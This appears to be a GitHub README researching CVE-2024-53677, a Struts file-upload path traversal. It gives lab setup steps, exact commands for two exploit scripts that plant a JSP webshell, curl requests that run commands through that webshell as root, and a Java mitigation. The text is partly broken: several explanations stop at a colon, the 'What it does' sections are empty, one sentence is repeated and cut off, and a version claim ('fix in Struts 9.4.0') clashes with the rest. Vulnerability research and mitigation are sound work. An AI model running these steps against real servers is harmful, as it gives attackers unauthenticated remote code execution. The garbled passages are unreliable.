baburkin/struts-uploader-vulnerability

GitHub: baburkin/struts-uploader-vulnerability

Stars: 0 | Forks: 0

# CVE-2024-53677 — How the Exploit Works and How to Run It ## Vulnerability summary The flaw is in how Struts' `FileUploadInterceptor` hands off the uploaded filename to the action class. Normally the interceptor sanitizes the filename, but Struts also lets any multipart parameter be processed as an OGNL expression by the `ParametersInterceptor`. Sending `top.UploadFileName` (or `uploadFileName[0]` for multi-file actions) as a form field directly calls `action.setUploadFileName(value)` via OGNL, overriding whatever the interceptor set. The action then writes the file with no path sanitization: Sending `../shell.jsp` as the filename resolves to: Uploading a JSP webshell there gives unauthenticated RCE. ## Exploits being researched There are two exploits being researched regarding this vulnerability: 1. [Lab Tomcat and exploit by EQSTLab](https://github.com/EQSTLab/CVE-2024-53677) 2. [Snyk vulnerability database](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHESTRUTS-8496612) The Lab Tomcat application server, used as the target for both exploits, is taken from the first repository, and runs in a container (docker or podman). The subtle difference between the two exploits is shown in the side-by-side comparison table at the end of this document. ## Results of the investigation Both exploits have been confirmed to work on Struts `6.3.0.2`. However, when we upgraded Struts to `6.8.0` or `6.9.0`, the first exploit (`CVE-2024-53677.py`) stopped working - due to the fix in Struts `9.4.0`. The second exploit (`poc.py`) works on all versions `6.3.0.2`, `6.8.0`, `6.9.0`, unless the exploitable application code is updated as advised below in the Mitigation section. See the technical details of the investigation below. ## Lab setup Clone the first repo and change to its root directory: git clone https://github.com/EQSTLab/CVE-2024-53677 cd CVE-2024-53677 Copy Python script with exploit from the second referenced link (Snyk) and save it into `poc.py` in the repo's root folder. Create Python virtual environment for the exploit scripts, activate it and install dependencies: python3 -m venv venv source venv/bin/activate pip install requests requests_toolbelt Copy Python script with exploit from the second referenced link (Snyk) and save it into `poc.py` in the You will need docker (originally) or podman (used in our research) to build and run the exploited Lab Tomcat: cd docker podman build --ulimit nofile=122880:122880 -m 3G -t exploit . podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit Run the exploit scripts as described below in a separate shell from the repo root directory with Python virtual env activated. ## Using CVE-2024-53677.py ### What it does ### Command python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp ### Verify RCE curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id" # uid=0(root) gid=0(root) groups=0(root) Note the required `action=cmd` parameter — the hardcoded webshell checks for it before running the command. Without it you get `Unknown action.` instead of output. ### Upload a custom payload python CVE-2024-53677.py \ -u http://localhost:8080/upload.action \ -p ../shell.jsp \ -f ./my_payload.jsp ## Using poc.py ### What it does ### Bug in the default paths The default `--paths` value is `../../../../../webapps/ROOT`. From Tomcat's working directory (`/usr/local/tomcat/`), this resolves to: ### Command python poc.py \ -u http://localhost:8080 \ --upload_endpoint /uploads.action \ --paths .. \ --filenames shell.jsp `--filenames` pins the filename so you know where to fetch it. Without it the script generates random names that are printed in the output. ### Verify RCE The webshell uploaded by `poc.py` uses the simpler `?cmd=` interface: curl "http://localhost:8080/shell.jsp?cmd=id" # uid=0(root) gid=0(root) groups=0(root) ## Mitigations for applications stuck on Struts 6.x The canonical fix is upgrading to Struts 7.x, which reworked the file uploading mechanism completely. If that upgrade is blocked (JDK 8 compatibility, third-party dependency constraints), the mitigation below can be applied. ### Sanitize the filename in the action class (highest impact, code-level) This is the most robust fix because it works regardless of what any interceptor passes in. Strip all path components from the filename before building the destination path, then verify the resolved path is still inside the intended directory. import java.nio.file.Paths; public String doUpload() { if (upload != null && upload.length() > 0) { try { File uploadDirectory = new File("/var/app/uploads"); if (!uploadDirectory.exists()) uploadDirectory.mkdirs(); // Strip any path components the attacker injected via top.UploadFileName String safeFileName = Paths.get(uploadFileName).getFileName().toString(); File destFile = new File(uploadDirectory, safeFileName); // Confirm the resolved path is still inside the upload directory String canonicalDest = destFile.getCanonicalPath(); String canonicalBase = uploadDirectory.getCanonicalPath(); if (!canonicalDest.startsWith(canonicalBase + File.separator)) { addActionError("Invalid upload path."); return ERROR; } // ... copy bytes as before `Paths.get("../shell.jsp").getFileName()` returns `shell.jsp`, so even if `top.UploadFileName` delivers a traversal string, it is reduced to a plain filename before any I/O happens. ## Side-by-side comparison | | CVE-2024-53677.py | poc.py | |------------------|------------------------------|---------------------------------------------------| | Endpoint | `/upload.action` | `/uploads.action` | | OGNL parameter | `top.UploadFileName` | `uploadFileName[0]` | | Action class | `UploadAction` (single file) | `UploadsAction` (multi-file) | | Webshell call | `?action=cmd&cmd=` | `?cmd=` | | Default path bug | none | `--paths` default is too deep, override with `..` |